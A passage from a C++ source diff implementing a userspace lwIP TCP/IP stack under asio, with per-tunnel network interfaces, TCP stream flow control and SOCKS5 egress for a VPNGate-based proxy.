asio::post(cb_ex, [h = std::move(h)] {
h(make_error_code(Error::EgressGone), nullptr);
});
return;
}
if (!addr.valid() || !addr.is_v4()) {
// IPv6 never reaches here: the SOCKS5 layer refuses it earlier with
// "address type not supported". This is the backstop.
asio::post(cb_ex, [h = std::move(h)] {
h(make_error_code(Error::NotSupported), nullptr);
});
return;
}
auto stream = LwipTcpStream::create(self, cb_ex);
self->register_child(stream);
stream->start_connect(addr, port, timeout,
[stream, cb_ex, h = std::move(h)](
const std::error_code &ec) mutable {
if (ec) {
asio::post(cb_ex, [h = std::move(h), ec] {
h(ec, nullptr);
});
return;
}
asio::post(cb_ex,
[h = std::move(h), stream]() mutable {
h(std::error_code{},
std::move(stream));
});
});
});
}
void Netif::async_open_udp(const asio::any_io_executor &cb_ex,
OpenUdpHandler h) {
auto self = shared_from_this();
asio::post(stack_.strand(), [self, cb_ex, h = std::move(h)]() mutable {
if (!self->up_) {
asio::post(cb_ex, [h = std::move(h)] {
h(make_error_code(Error::EgressGone), nullptr);
});
return;
}
auto sock = LwipUdpSocket::create(self, cb_ex);
std::error_code ec = sock->bind_ephemeral();
if (ec) {
asio::post(cb_ex, [h = std::move(h), ec] { h(ec, nullptr); });
return;
}
self->register_child(sock);
asio::post(cb_ex, [h = std::move(h), sock]() mutable {
h(std::error_code{}, std::move(sock));
});
});
}
std::shared_ptr<Resolver> Netif::resolver() {
std::lock_guard<std::mutex> lk(resolver_mu_);
if (auto r = resolver_.lock()) return r;
auto r = DnsResolver::create(shared_from_this(), stack_.dns_config());
resolver_ = r;
return r;
}
} // namespace ovg::netstack
+311
View File
@@ -0,0 +1,311 @@
// The userspace TCP/IP stack: lwIP lifecycle, one netif per live tunnel.
//
// ---------------------------------------------------------------------------
// Threading
// ---------------------------------------------------------------------------
// lwIP built with NO_SYS=1 has no locking whatsoever. Every call into it and
// every callback out of it must be serialized, so all of it runs on one asio
// strand -- Stack::strand(). Handlers the caller supplies run on the executor
// the caller passed in, never on the strand, so nothing above this module ever
// touches lwIP state.
//
// A strand rather than a dedicated thread: lwIP requires "no concurrency", not
// "the same thread", and a strand gives that plus the happens-before edges,
// without adding a thread or a second io_context to reason about.
//
// ---------------------------------------------------------------------------
// Why there can only be one Stack
// ---------------------------------------------------------------------------
// lwIP's state is file-scope globals: the netif list, tcp_active_pcbs, the
// timeout wheel, the memp pools. There is exactly one lwIP per process and no
// amount of wrapping changes that. The constructor enforces it rather than
// letting a second instance silently corrupt the first.
//
// This matters because make-before-break (docs/ARCHITECTURE.md 5) needs two
// tunnels alive at once. That works: one Stack, two Netifs, and every PCB
// pinned to its netif with tcp_bind_netif()/udp_bind_netif() so routing cannot
// send an old session's packets out the new tunnel.
//
// It works with one exception, and it is worth stating plainly. Attribution of
// *inbound* packets is by destination address, so two tunnels that push the
// same address are indistinguishable to lwIP. VPNGate servers hand out private
// addresses from a small set of ranges, so this is not hypothetical. Netif
// creation therefore rejects an address already in use, and the switch
// controller treats that rejection as "graceful drain is impossible here" and
// falls back to a hard switch -- which is the behaviour the requirements ask
// for when connections cannot be preserved.
//
// ---------------------------------------------------------------------------
// IPv6
// ---------------------------------------------------------------------------
// Not supported. lwIP is compiled IPv4-only (see lwip_port/lwipopts.h): VPNGate
// nodes essentially never push a usable IPv6 prefix, and carrying a second
// address family through the netif, the resolver and the SOCKS5 layer would
// roughly double the surface for something no node exercises. An IPv6 target
// arriving over SOCKS5 is refused with "address type not supported" rather than
// being quietly resolved to something else.
#pragma once
#include <asio.hpp>
#include <cstdint>
#include <functional>
#include <memory>
#include <mutex>
#include <string>
#include <vector>
#include "common/config.h"
#include "common/endpoint.h"
#include "common/strand_deleter.h"
#include "netstack/packet_link.h"
#include "netstack/stream.h"
struct pbuf;
struct netif;
namespace ovg::netstack {
using ovg::Strand;
class Netif;
class LwipTcpStream;
class LwipUdpSocket;
class DnsResolver;
// Implemented by everything a Netif can own. The netif holds these weakly, so
// dropping the caller's reference still tears the connection down; this is only
// the handle it needs to reach survivors when the tunnel goes away underneath
// them. Called on the stack's strand.
class Closable {
public:
virtual ~Closable() = default;
virtual void abort_from_netif(const std::error_code &reason) = 0;
};
// Everything a netif needs, extracted from what the VPN server pushed.
struct NetifConfig {
IpAddress address; // our address inside the tunnel
int prefix = 0; // 1..32
IpAddress gateway; // may be unset on a point-to-point link
int mtu = 1500;
std::vector<IpAddress> dns; // in server priority order
std::string label; // node id; appears in every log line
};
class Stack {
public:
// Throws std::logic_error if another Stack is alive (see the header comment).
explicit Stack(asio::io_context &io, DnsConfig dns_cfg = {});
~Stack();
Stack(const Stack &) = delete;
Stack &operator=(const Stack &) = delete;
// Stops the periodic timer, and with it the last thing keeping the
// io_context busy.
//
// The timer re-arms itself for as long as the stack is alive, which makes it
// outstanding io work that releasing a work guard cannot retire. The
// destructor cancels it -- but the destructor cannot run until run() returns,
// and run() will not return while the timer is pending. A process that has
// logged a picture-perfect graceful shutdown then sits there forever. So
// shutdown has to say so explicitly, here.
//
// Call it only once every netif is gone: lwIP's timers drive TCP
// retransmission and reassembly expiry, so a stack that has stopped ticking
// under a live stream stops retransmitting on it. Idempotent.
void stop();
const Strand &strand() const { return strand_; }
asio::io_context &io() { return io_; }
const DnsConfig &dns_config() const { return dns_cfg_; }
using AttachHandler =
std::function<void(const std::error_code &, std::shared_ptr<Netif>)>;
// Brings up a netif over `link` and starts its receive loop. `link` must
// outlive the returned Netif; in practice the same object owns both.
//
// Fails with ovg::Error::ResourceExhausted if `cfg.address` is already in use
// by a live netif -- see the address-collision note above.
void async_attach(PacketLink &link, NetifConfig cfg,
const asio::any_io_executor &cb_ex, AttachHandler h);
// lwIP's global counters. Not per-netif -- lwIP does not track them that way
// -- so with two tunnels up these are the sum. The health monitor uses the
// delta over a window, where that is still a usable signal.
//
// There is no retransmit counter here because lwIP does not keep one: it
// increments tcp.xmit for original and retransmitted segments alike. The
// usable proxies for a degrading link are tcp_segments_sent rising while
// tcp_segments_received does not, and tcp_memory_errors climbing at all.
struct GlobalStats {
uint64_t tcp_segments_sent = 0;
uint64_t tcp_segments_received = 0;
uint64_t tcp_drops = 0;
uint64_t tcp_checksum_errors = 0;
uint64_t tcp_memory_errors = 0;
uint64_t ip_drops = 0;
uint64_t ip_checksum_errors = 0;
uint64_t reassembly_failures = 0;
size_t netifs = 0;
};
GlobalStats global_stats() const;
private:
friend class Netif;
void schedule_timer();
void on_timer(const std::error_code &ec);
// Address bookkeeping, so collisions are caught before lwIP sees them.
// Guarded by mu_ because the admin endpoint reads it off-strand.
bool claim_address(const IpAddress &a);
void release_address(const IpAddress &a);
asio::io_context &io_;
DnsConfig dns_cfg_;
Strand strand_;
asio::steady_timer timer_;
bool stopping_ = false;
mutable std::mutex mu_;
std::vector<IpAddress> claimed_;
};
// One tunnel's network interface, and the factory for everything that runs on
// it. Destroying it removes the lwIP netif and aborts every stream and socket
// still bound to it -- which is exactly what has to happen when a drained
// egress goes away.
class Netif : public std::enable_shared_from_this<Netif> {
public:
~Netif();
Netif(const Netif &) = delete;
Netif &operator=(const Netif &) = delete;
using ConnectHandler =
std::function<void(const std::error_code &, TcpStreamPtr)>;
using OpenUdpHandler =
std::function<void(const std::error_code &, UdpSocketPtr)>;
// `addr` must be a literal IPv4 address; names are the resolver's job.
void async_connect_tcp(const IpAddress &addr, uint16_t port, Millis timeout,
const asio::any_io_executor &cb_ex, ConnectHandler h);
// Binds an ephemeral port on this netif's address.
void async_open_udp(const asio::any_io_executor &cb_ex, OpenUdpHandler h);
// Shared, lazily created, backed by this netif's pushed DNS servers with the
// configured fallbacks appended. Safe to call from any thread.
//
// Held here weakly, so the caller owns it -- in practice the egress, for the
// tunnel's lifetime. That is not an ownership nicety: the resolver keeps a UDP
// socket, the socket keeps this netif alive, and a strong pointer here would
// close a reference cycle that no shutdown path could break. Dropping every
// reference costs a rebuilt cache on the next call and nothing else.
std::shared_ptr<Resolver> resolver();
// Refuses new streams and sockets, aborts the existing ones, removes the lwIP
// netif and stops the receive loop. Idempotent. `on_done` runs on the
// executor given at attach time once the netif is gone.
void shutdown(std::function<void()> on_done = {});
bool is_up() const;
const IpAddress &address() const { return cfg_.address; }
const IpAddress &gateway() const { return cfg_.gateway; }
const std::vector<IpAddress> &dns_servers() const { return cfg_.dns; }
int mtu() const { return cfg_.mtu; }
const std::string &label() const { return cfg_.label; }
Stack &stack() const { return stack_; }
struct Stats {
uint64_t rx_packets = 0;
uint64_t rx_bytes = 0;
uint64_t rx_malformed = 0; // not IPv4, or shorter than an IP header
uint64_t rx_dropped = 0; // lwIP refused it (no buffer, bad checksum)
uint64_t tx_packets = 0;
uint64_t tx_bytes = 0;
uint64_t tx_dropped = 0; // link's transmit queue was full
uint64_t tcp_opened = 0;
uint64_t tcp_failed = 0;
int64_t tcp_active = 0;
int64_t udp_active = 0;
};
Stats stats() const;
// netif->output. Public only because lwIP reaches it through a C function
// pointer, which cannot be a friend; not part of the interface callers use.
// Returns false when the link dropped the packet, which lwIP sees as ERR_MEM
// and retries -- the right answer, since a full transmit queue is congestion,
// not failure.
bool transmit_from_lwip(pbuf *p);
private:
friend class Stack;
friend class LwipTcpStream;
friend class LwipUdpSocket;
friend class DnsResolver;
struct Impl; // holds the lwIP netif; keeps lwip headers out of this file
Netif(Stack &stack, PacketLink &link, NetifConfig cfg,
asio::any_io_executor cb_ex);
// The lwIP netif, for the PCB pinning in lwip_tcp.cpp / lwip_udp.cpp. Only
// valid while up_; nullptr afterwards. Strand-only. Declared here rather than
// exposing Impl so that lwIP headers stay out of this file.
struct netif *lwip_netif();
static std::shared_ptr<Netif> create(Stack &stack, PacketLink &link,
NetifConfig cfg,
asio::any_io_executor cb_ex);
// Strand-only.
bool bring_up(std::string *err);
void tear_down();
void arm_receive();
void on_packet(const std::error_code &ec, size_t n);
void register_child(const std::shared_ptr<Closable> &c);
void note_tcp_opened(bool ok);
void note_tcp_closed();
void note_udp(int delta);
Stack &stack_;
PacketLink &link_;
NetifConfig cfg_;
asio::any_io_executor cb_ex_;
std::unique_ptr<Impl> impl_;
std::vector<uint8_t> rx_buf_;
bool up_ = false;
bool receiving_ = false;
// Live streams and sockets, weakly held so that dropping the caller's
// reference still tears the connection down (see stream.h). Used only to
// reach them at shutdown.
std::vector<std::weak_ptr<Closable>> children_;
mutable std::mutex stats_mu_;
Stats stats_;
std::mutex resolver_mu_;
std::weak_ptr<Resolver> resolver_; // weak on purpose -- see resolver()
};
// lwIP err_t -> std::error_code, in one place so the mapping is consistent
// between the TCP, UDP and DNS paths.
std::error_code lwip_error(int8_t err);
namespace detail {
// Objects holding lwIP state must be destroyed on the strand, and never from
// inside an lwIP callback -- which is exactly what lets those callbacks carry a
// raw `this` pointer as their argument. See common/strand_deleter.h; the direct
// egress needs the same trick for the same shape of reason.
using ovg::StrandDeleter;
} // namespace detail
} // namespace ovg::netstack
+569
View File
@@ -0,0 +1,569 @@
#include "netstack/lwip_tcp.h"
#include <algorithm>
#include <cstring>
#include "common/error.h"
#include "common/logging.h"
extern "C" {
#include "lwip/ip_addr.h"
#include "lwip/pbuf.h"
#include "lwip/tcp.h"
}
namespace ovg::netstack {
namespace {
constexpr const char *kMod = "netstack";
// How often lwIP invokes the poll callback, in units of the coarse TCP timer
// (500 ms). Two ticks is one second: often enough to unstick a write that lost
// its "sent" callback to a dropped ACK, rare enough not to matter at 1000
// connections.
constexpr uint8_t kPollInterval = 2;
Endpoint endpoint_from(const ip_addr_t *a, uint16_t port) {
if (a == nullptr) return {};
return Endpoint(IpAddress::from_v4(lwip_ntohl(ip_2_ip4(a)->addr)), port);
}
// tcp_recved() takes a u16_t, but our receive window can be up to TCP_WND
// (64 KiB) and a single read can consume all of it -- which truncates to 0 and
// silently wedges the connection with a closed window. Chunk it.
void recved(tcp_pcb *pcb, size_t n) {
while (n > 0) {
const u16_t chunk = static_cast<u16_t>(std::min<size_t>(n, 0xFFFFu));
tcp_recved(pcb, chunk);
n -= chunk;
}
}
} // namespace
std::shared_ptr<LwipTcpStream> LwipTcpStream::create(
std::shared_ptr<Netif> netif, asio::any_io_executor cb_ex) {
Strand strand = netif->stack().strand();
return std::shared_ptr<LwipTcpStream>(
new LwipTcpStream(std::move(netif), std::move(cb_ex)),
detail::StrandDeleter<LwipTcpStream>{strand});
}
LwipTcpStream::LwipTcpStream(std::shared_ptr<Netif> netif,
asio::any_io_executor cb_ex)
: netif_(std::move(netif)),
strand_(netif_->stack().strand()),
cb_ex_(std::move(cb_ex)),
timer_(strand_) {}
LwipTcpStream::~LwipTcpStream() {
// On the strand, courtesy of StrandDeleter -- so an lwIP callback can never
// be running against this object right now.
if (counted_open_ && netif_) netif_->note_tcp_closed();
detach_pcb(/*graceful=*/false);
drop_queued();
// Pending handlers must be answered even here. A caller that used a weak_ptr
// in its handler would otherwise wait forever for a completion that can no
// longer come.
const auto ec = make_error_code(Error::Cancelled);
if (read_h_) {
asio::post(cb_ex_, [h = std::move(read_h_), ec] { h(ec, 0); });
}
if (write_h_) {
asio::post(cb_ex_, [h = std::move(write_h_), ec, n = write_done_] {
h(ec, n);
});
}
if (connect_h_) {
asio::post(cb_ex_, [h = std::move(connect_h_), ec] { h(ec); });
}
}
// ---------------------------------------------------------------------------
// Connect
// ---------------------------------------------------------------------------
void LwipTcpStream::start_connect(const IpAddress &addr, uint16_t port,
Millis timeout, ConnectHandler h) {
connect_h_ = std::move(h);
connecting_ = true;
struct netif *nif = netif_->lwip_netif();
if (nif == nullptr) {
// The tunnel went away between async_connect_tcp and this post.
finish_connect(make_error_code(Error::NotConnected));
return;
}
pcb_ = tcp_new_ip_type(IPADDR_TYPE_V4);
if (pcb_ == nullptr) {
netif_->note_tcp_opened(false);
finish_connect(make_error_code(Error::ResourceExhausted));
return;
}
tcp_arg(pcb_, this);
tcp_err(pcb_, &LwipTcpStream::s_err);
tcp_recv(pcb_, &LwipTcpStream::s_recv);
tcp_sent(pcb_, &LwipTcpStream::s_sent);
tcp_poll(pcb_, &LwipTcpStream::s_poll, kPollInterval);
// The pin that makes two simultaneous tunnels work: without it, ip4_route()
// would send this connection's packets out whichever netif happens to be the
// default, which during a make-before-break switch is the *other* tunnel.
tcp_bind_netif(pcb_, nif);
ip_addr_t dst;
ip_addr_set_ip4_u32(&dst, lwip_htonl(addr.v4_host_order()));
const err_t err = tcp_connect(pcb_, &dst, port, &LwipTcpStream::s_connected);
if (err != ERR_OK) {
LOG_DEBUG(kMod, "{}: tcp_connect to {}:{} failed immediately: {}",
netif_->label(), addr.to_string(), port, lwip_error(err).message());
netif_->note_tcp_opened(false);
detach_pcb(/*graceful=*/false);
finish_connect(lwip_error(err));
return;
}
// tcp_connect fills both in from the pinned netif (it consults netif_idx for
// the route *and* for the source address), so this is already final.
local_ = endpoint_from(&pcb_->local_ip, pcb_->local_port);
remote_ = Endpoint(addr, port);
if (timeout.count() > 0) {
timer_.expires_after(timeout);
auto self = shared_from_this();
timer_.async_wait([self](const std::error_code &ec) {
if (ec || !self->connecting_) return;
LOG_DEBUG(kMod, "{}: connect to {} timed out", self->netif_->label(),
self->remote_.to_string());
self->netif_->note_tcp_opened(false);
self->detach_pcb(/*graceful=*/false);
self->finish_connect(make_error_code(Error::Timeout));
});
}
}
void LwipTcpStream::finish_connect(const std::error_code &ec) {
if (!connecting_) return;
connecting_ = false;
timer_.cancel();
if (!ec) {
open_.store(true, std::memory_order_release);
counted_open_ = true;
netif_->note_tcp_opened(true);
} else {
fatal_ = ec;
}
if (connect_h_) {
// Straight to the caller's executor: Netif::async_connect_tcp already
// arranged for the public handler to be posted from there.
auto h = std::move(connect_h_);
connect_h_ = nullptr;
h(ec);
}
}
int8_t LwipTcpStream::s_connected(void *arg, tcp_pcb *pcb, int8_t err) {
auto *self = static_cast<LwipTcpStream *>(arg);
if (self == nullptr) return ERR_OK;
if (err != ERR_OK) {
self->netif_->note_tcp_opened(false);
self->detach_pcb(/*graceful=*/false);
self->finish_connect(lwip_error(err));
return ERR_OK;
}
self->local_ = endpoint_from(&pcb->local_ip, pcb->local_port);
LOG_TRACE(kMod, "{}: connected {} -> {}", self->netif_->label(),
self->local_.to_string(), self->remote_.to_string());
self->finish_connect({});
return ERR_OK;
}
// ---------------------------------------------------------------------------
// Receive
// ---------------------------------------------------------------------------
int8_t LwipTcpStream::s_recv(void *arg, tcp_pcb *pcb, pbuf *p, int8_t err) {
auto *self = static_cast<LwipTcpStream *>(arg);
if (self == nullptr) {
// The stream detached but lwIP still had this pcb. Consume and move on.
if (p != nullptr) {
tcp_recved(pcb, p->tot_len);
pbuf_free(p);
}
return ERR_OK;
}
if (err != ERR_OK) {
if (p != nullptr) pbuf_free(p);
self->fail(lwip_error(err));
return ERR_OK;
}
if (p == nullptr) {
// Peer sent FIN. Not an error: the send direction may still be open, and
// truncating it here is precisely the half-close bug this design avoids.
self->rx_eof_ = true;
self->pump_reader();
return ERR_OK;
}
self->rx_.fetch_add(p->tot_len, std::memory_order_relaxed);
self->queued_bytes_ += p->tot_len;
self->queue_.push_back(p);
// Deliberately no tcp_recved() here. The window stays closed until the
// consumer takes the bytes -- see the header comment.
self->pump_reader();
return ERR_OK;
}
void LwipTcpStream::async_read_some(asio::mutable_buffer buf, ReadHandler h) {
auto self = shared_from_this();
asio::post(strand_,
[self, buf, h = std::move(h)]() mutable {
self->do_read(buf, std::move(h));
});
}
void LwipTcpStream::do_read(asio::mutable_buffer buf, ReadHandler h) {
if (read_h_) {
LOG_ERROR(kMod, "{}: overlapping async_read_some on {}",
netif_ ? netif_->label() : "?",
remote_.to_string());
complete_read_with(std::move(h), make_error_code(Error::Internal), 0);
return;
}
if (buf.size() == 0) {
complete_read_with(std::move(h), {}, 0);
return;
}
read_buf_ = buf;
read_h_ = std::move(h);
pump_reader();
}
void LwipTcpStream::pump_reader() {
if (!read_h_) return;
if (!queue_.empty()) {
auto *dst = static_cast<uint8_t *>(read_buf_.data());
const size_t want = read_buf_.size();
size_t copied = 0;
while (copied < want && !queue_.empty()) {
pbuf *p = queue_.front();
const size_t avail = p->tot_len - queue_offset_;
const size_t take = std::min(avail, want - copied);
pbuf_copy_partial(p, dst + copied, static_cast<u16_t>(take),
static_cast<u16_t>(queue_offset_));
copied += take;
queue_offset_ += take;
if (queue_offset_ >= p->tot_len) {
queue_.pop_front();
queue_offset_ = 0;
pbuf_free(p);
}
}
queued_bytes_ -= copied;
// Now, and only now, does the window reopen -- by exactly what was
// consumed. This is the backpressure that keeps a slow SOCKS5 client from
// turning into unbounded heap on our side.
if (pcb_ != nullptr && copied > 0) recved(pcb_, copied);
complete_read({}, copied);
return;
}
if (fatal_) {
complete_read(fatal_, 0);
return;
}
if (rx_eof_) {
complete_read(asio::error::eof, 0);
return;
}
// Nothing yet; s_recv will call back in.
}
void LwipTcpStream::complete_read(const std::error_code &ec, size_t n) {
if (!read_h_) return;
auto h = std::move(read_h_);
read_h_ = nullptr;
read_buf_ = asio::mutable_buffer();
complete_read_with(std::move(h), ec, n);
}
void LwipTcpStream::complete_read_with(ReadHandler h, const std::error_code &ec,
size_t n) {
asio::post(cb_ex_, [h = std::move(h), ec, n] { h(ec, n); });
}
// ---------------------------------------------------------------------------
// Send
// ---------------------------------------------------------------------------
void LwipTcpStream::async_write(asio::const_buffer buf, WriteHandler h) {
auto self = shared_from_this();
asio::post(strand_,
[self, buf, h = std::move(h)]() mutable {
self->do_write(buf, std::move(h));
});
}
void LwipTcpStream::do_write(asio::const_buffer buf, WriteHandler h) {
if (write_h_) {
LOG_ERROR(kMod, "{}: overlapping async_write on {}",
netif_ ? netif_->label() : "?",
remote_.to_string());
complete_write_with(std::move(h), make_error_code(Error::Internal), 0);
return;
}
if (fatal_) {
complete_write_with(std::move(h), fatal_, 0);
return;
}
if (pcb_ == nullptr || tx_shutdown_) {
complete_write_with(std::move(h),
std::make_error_code(std::errc::broken_pipe), 0);
return;
}
if (buf.size() == 0) {
complete_write_with(std::move(h), {}, 0);
return;
}
write_data_ = static_cast<const uint8_t *>(buf.data());
write_len_ = buf.size();
write_done_ = 0;
write_h_ = std::move(h);
pump_writer();
}
void LwipTcpStream::pump_writer() {
if (!write_h_ || pcb_ == nullptr) return;
bool wrote_anything = false;
while (write_done_ < write_len_) {
const size_t remaining = write_len_ - write_done_;
const u16_t room = tcp_sndbuf(pcb_);
if (room == 0) break;
const u16_t chunk =
static_cast<u16_t>(std::min<size_t>(remaining, room));
// TCP_WRITE_FLAG_COPY is mandatory, not an optimization choice: lwIP holds
// the bytes until they are acknowledged, which is strictly after our
// completion handler runs and therefore after the caller is entitled to
// reuse the buffer.
u8_t flags = TCP_WRITE_FLAG_COPY;
if (chunk < remaining) flags |= TCP_WRITE_FLAG_MORE;
const err_t err = tcp_write(pcb_, write_data_ + write_done_, chunk, flags);
if (err == ERR_MEM) break; // retried from s_sent / s_poll
if (err != ERR_OK) {
fail(lwip_error(err));
return;
}
write_done_ += chunk;
wrote_anything = true;
}
if (wrote_anything) {
const err_t err = tcp_output(pcb_);
if (err != ERR_OK && err != ERR_MEM) {
fail(lwip_error(err));
return;
}
}
if (write_done_ >= write_len_) {
tx_.fetch_add(write_len_, std::memory_order_relaxed);
complete_write({}, write_len_);
}
}
void LwipTcpStream::complete_write(const std::error_code &ec, size_t n) {
if (!write_h_) return;
auto h = std::move(write_h_);
write_h_ = nullptr;
write_data_ = nullptr;
write_len_ = 0;
write_done_ = 0;
complete_write_with(std::move(h), ec, n);
}
void LwipTcpStream::complete_write_with(WriteHandler h,
const std::error_code &ec, size_t n) {
asio::post(cb_ex_, [h = std::move(h), ec, n] { h(ec, n); });
}
int8_t LwipTcpStream::s_sent(void *arg, tcp_pcb *, uint16_t) {
auto *self = static_cast<LwipTcpStream *>(arg);
if (self == nullptr) return ERR_OK;
self->pump_writer();
self->retry_shutdown();
return ERR_OK;
}
int8_t LwipTcpStream::s_poll(void *arg, tcp_pcb *) {
auto *self = static_cast<LwipTcpStream *>(arg);
if (self == nullptr) return ERR_OK;
// The safety net: if an ACK went missing, s_sent never fires and a partially
// written buffer would hang until the idle timeout. One retry per second
// costs nothing and removes a whole class of stall.
self->pump_writer();
self->retry_shutdown();
return ERR_OK;
}
// ---------------------------------------------------------------------------
// Shutdown / teardown
// ---------------------------------------------------------------------------
void LwipTcpStream::shutdown_send() {
auto self = shared_from_this();
asio::post(strand_, [self] { self->do_shutdown_send(); });
}
void LwipTcpStream::do_shutdown_send() {
if (tx_shutdown_ || pcb_ == nullptr) return;
tx_shutdown_ = true;
tx_shutdown_pending_ = true;
retry_shutdown();
}
void LwipTcpStream::retry_shutdown() {
if (!tx_shutdown_pending_ || pcb_ == nullptr) return;
// Only once the caller's last write has drained: sending FIN with bytes still
// queued in *our* buffer would lose them.
if (write_h_ && write_done_ < write_len_) return;
const err_t err = tcp_shutdown(pcb_, 0, 1);
if (err == ERR_MEM) return; // no segment available; try again from poll
tx_shutdown_pending_ = false;
if (err != ERR_OK) fail(lwip_error(err));
}
void LwipTcpStream::close() {
auto self = shared_from_this();
asio::post(strand_, [self] { self->do_close(false); });
}
void LwipTcpStream::do_close(bool graceful_hint) {
if (closing_) return;
closing_ = true;
open_.store(false, std::memory_order_release);
if (counted_open_ && netif_) {
netif_->note_tcp_closed();
counted_open_ = false;
}
// Graceful only when there is genuinely nothing left in flight. Anything else
// gets a RST, which is the honest signal that we are abandoning the
// connection rather than pretending it ended cleanly.
const bool graceful =
graceful_hint || (rx_eof_ && queue_.empty() && !write_h_);
detach_pcb(graceful);
drop_queued();
const auto ec = make_error_code(Error::Cancelled);
complete_read(ec, 0);
complete_write(ec, write_done_);
if (connecting_) finish_connect(ec);
}
void LwipTcpStream::abort_from_netif(const std::error_code &reason) {
if (!closing_) {
closing_ = true;
open_.store(false, std::memory_order_release);
if (counted_open_ && netif_) {
netif_->note_tcp_closed();
counted_open_ = false;
}
// The netif is being removed out from under the PCB, so there is no
// graceful option: lwIP must not be left holding a pcb bound to a netif
// that no longer exists.
detach_pcb(/*graceful=*/false);
drop_queued();
fatal_ = reason;
complete_read(reason, 0);
complete_write(reason, write_done_);
if (connecting_) finish_connect(reason);
}
timer_.cancel();
// Release the netif so it can finish being destroyed; the caller may still
// hold this stream, which from here on reports a closed connection.
netif_.reset();
}
void LwipTcpStream::fail(const std::error_code &ec) {
if (fatal_) return;
fatal_ = ec;
open_.store(false, std::memory_order_release);
if (counted_open_ && netif_) {
netif_->note_tcp_closed();
counted_open_ = false;
}
if (connecting_) {
if (netif_) netif_->note_tcp_opened(false);
detach_pcb(/*graceful=*/false);
finish_connect(ec);
return;
}
// Data already received stays readable: a reset after a complete response is
// common, and discarding what we hold would corrupt it. The error surfaces
// once the queue is drained.
if (read_h_ && queue_.empty()) complete_read(ec, 0);
complete_write(ec, write_done_);
}
void LwipTcpStream::s_err(void *arg, int8_t err) {
auto *self = static_cast<LwipTcpStream *>(arg);
if (self == nullptr) return;
// lwIP has already freed the pcb. Touching it here is a use-after-free, which
// is why this is the one path that clears pcb_ without detaching.
self->pcb_ = nullptr;
std::error_code ec = lwip_error(err);
if (err == ERR_RST && !self->connecting_)
ec = std::make_error_code(std::errc::connection_reset);
LOG_TRACE(kMod, "{}: connection to {} failed: {}",
self->netif_ ? self->netif_->label() : "?",
self->remote_.to_string(), ec.message());
self->fail(ec);
}
void LwipTcpStream::detach_pcb(bool graceful) {
if (pcb_ == nullptr) return;
tcp_pcb *p = pcb_;
pcb_ = nullptr;
// Clear every callback before letting go: lwIP may keep the pcb alive through
// FIN_WAIT/TIME_WAIT, and a callback arriving after we are gone would be a
// use-after-free.
tcp_arg(p, nullptr);
tcp_recv(p, nullptr);
tcp_sent(p, nullptr);
tcp_err(p, nullptr);
tcp_poll(p, nullptr, 0);
if (graceful) {
if (tcp_close(p) != ERR_OK) tcp_abort(p);
} else {
tcp_abort(p);
}
}
void LwipTcpStream::drop_queued() {
for (pbuf *p : queue_) pbuf_free(p);
queue_.clear();
queue_offset_ = 0;
queued_bytes_ = 0;
}
Endpoint LwipTcpStream::local_endpoint() const { return local_; }
Endpoint LwipTcpStream::remote_endpoint() const { return remote_; }
} // namespace ovg::netstack
+158
View File
@@ -0,0 +1,158 @@
// TcpStream over an lwIP PCB.
//
// Flow control is the whole point of this file, so it is worth being explicit
// about the two halves.
//
// Receive: lwIP hands us a pbuf and asks us to acknowledge it. We queue it and
// say nothing. The window only reopens when the SOCKS5 side has actually copied
// bytes out and we call tcp_recved() for exactly that many. A slow client
// therefore closes the window on the server, and the backlog lives in the
// server's send buffer rather than in our heap. The obvious alternative --
// acknowledge on arrival, buffer internally -- turns 1000 slow clients into
// unbounded memory growth, which is how proxies die.
//
// Send: tcp_write() takes what fits in tcp_sndbuf() and no more. The remainder
// waits for the "sent" callback (peer ACKed, buffer freed) and is retried
// there, and again from the poll callback so a lost ACK cannot wedge a write
// forever. async_write completes when the last byte has been *accepted by
// lwIP*, not when it has been acknowledged -- matching what asio's
// async_write does over a kernel socket.
//
// Everything below runs on Stack::strand(). The public methods post to it; the
// completion handlers post back out to the caller's executor.
#pragma once
#include <asio.hpp>
#include <atomic>
#include <cstdint>
#include <deque>
#include <memory>
#include <system_error>
#include "common/config.h"
#include "netstack/lwip_stack.h"
#include "netstack/stream.h"
struct tcp_pcb;
struct pbuf;
namespace ovg::netstack {
class LwipTcpStream final : public TcpStream,
public Closable,
public std::enable_shared_from_this<LwipTcpStream> {
public:
// Destruction is posted to the strand (see stream.h), which is what makes it
// safe for lwIP callbacks to hold a raw `this`: a callback and the destructor
// can never overlap.
static std::shared_ptr<LwipTcpStream> create(std::shared_ptr<Netif> netif,
asio::any_io_executor cb_ex);
~LwipTcpStream() override;
LwipTcpStream(const LwipTcpStream &) = delete;
LwipTcpStream &operator=(const LwipTcpStream &) = delete;
// TcpStream
void async_read_some(asio::mutable_buffer buf, ReadHandler h) override;
void async_write(asio::const_buffer buf, WriteHandler h) override;
void shutdown_send() override;
void close() override;
bool is_open() const override { return open_.load(std::memory_order_acquire); }
Endpoint local_endpoint() const override;
Endpoint remote_endpoint() const override;
uint64_t bytes_written() const override {
return tx_.load(std::memory_order_relaxed);
}
uint64_t bytes_read() const override {
return rx_.load(std::memory_order_relaxed);
}
// Closable
void abort_from_netif(const std::error_code &reason) override;
private:
friend class Netif;
LwipTcpStream(std::shared_ptr<Netif> netif, asio::any_io_executor cb_ex);
using ConnectHandler = std::function<void(const std::error_code &)>;
// Strand-only. Called by Netif::async_connect_tcp.
void start_connect(const IpAddress &addr, uint16_t port, Millis timeout,
ConnectHandler h);
// lwIP callbacks. `arg` is the raw stream pointer.
static int8_t s_connected(void *arg, tcp_pcb *pcb, int8_t err);
static int8_t s_recv(void *arg, tcp_pcb *pcb, pbuf *p, int8_t err);
static int8_t s_sent(void *arg, tcp_pcb *pcb, uint16_t len);
static int8_t s_poll(void *arg, tcp_pcb *pcb);
static void s_err(void *arg, int8_t err);
// Strand-only internals.
void do_read(asio::mutable_buffer buf, ReadHandler h);
void do_write(asio::const_buffer buf, WriteHandler h);
void do_shutdown_send();
void do_close(bool graceful_hint);
void pump_reader();
void pump_writer();
void fail(const std::error_code &ec);
void detach_pcb(bool graceful);
void drop_queued();
void finish_connect(const std::error_code &ec);
void retry_shutdown();
// Complete the *pending* operation, clearing its slot first so that a handler
// which immediately issues the next read/write does not see it still full.
void complete_read(const std::error_code &ec, size_t n);
void complete_write(const std::error_code &ec, size_t n);
// Post an arbitrary handler to cb_ex_. Used for the paths that reject an
// operation outright, where there is no pending slot to clear.
void complete_read_with(ReadHandler h, const std::error_code &ec, size_t n);
void complete_write_with(WriteHandler h, const std::error_code &ec, size_t n);
// netif_ is released by abort_from_netif() while the caller may still hold
// this stream, so nothing outside the strand may reach through it. The strand
